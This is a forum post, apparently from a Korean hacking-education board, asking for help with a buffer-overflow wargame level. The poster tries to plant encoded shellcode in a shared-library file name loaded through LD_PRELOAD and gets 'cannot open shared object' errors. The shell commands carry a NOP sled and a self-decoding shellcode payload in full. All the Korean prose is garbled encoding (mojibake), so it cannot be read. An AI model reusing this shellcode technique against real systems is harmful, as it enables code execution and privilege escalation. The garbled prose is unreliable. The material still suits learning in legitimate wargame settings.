|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1973 [º¹»ç]
LD_PRELOAD¸¦ ÀÌ¿ëÇÏ¿© ¹®Á¦¸¦ ÇØ°áÇÏ·Á°í ÇÕ´Ï´Ù.
[skeleton@localhost workspace]$ gcc -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so temp.c
// °øÀ¯ ¶óÀ̺귯¸® »ý¼º
[skeleton@localhost workspace]$ export LD_PRELOAD="/home/skeleton/workpsace/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so"
// °øÀ¯ ¶óÀ̺귯¸® µî·Ï
[skeleton@localhost workspace]$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/workspace
// °øÀ¯ ¶óÀ̺귯¸® °æ·Î ¼³Á¤
ÀÌ ´ÙÀ½ºÎÅÍ´Â ¾î¶² ¸í·ÉÀ» ÇØµµ ¿¡·¯°¡ ¶å´Ï´Ù..
[skeleton@localhost workspace]$ ll
ls: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵ÿÿÿ2i00tii0cjo㐔⚱
.so: cannot open shared object file: No such file or directory
[skeleton@localhost workspace]$ gdb -q golem
gdb: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵ÿÿÿ2i00tii0cjo㐔⚱
.so: cannot open shared object file: No such file or directory
°øÀ¯ ¶óÀ̺귯¸® °æ·Î¸¦ Á¤ÇØÁÖÁö ¾ÊÀ¸¸é Àú·± ¿¡·¯°¡ ¶á´Ù°í ÇØ¼ °æ·Î±îÁö ¼³Á¤ÇØÁá´Âµ¥ °è¼Ó ¿¡·¯°¡ ¶å´Ï´Ù.
ÀÌÀ¯¸¦ ¸ð¸£°Ú½À´Ï´Ù.. ¿ÖÀÌ·¯´Â°É±î¿ä? |
Hit : 2171 Date : 2019/08/21 09:26
|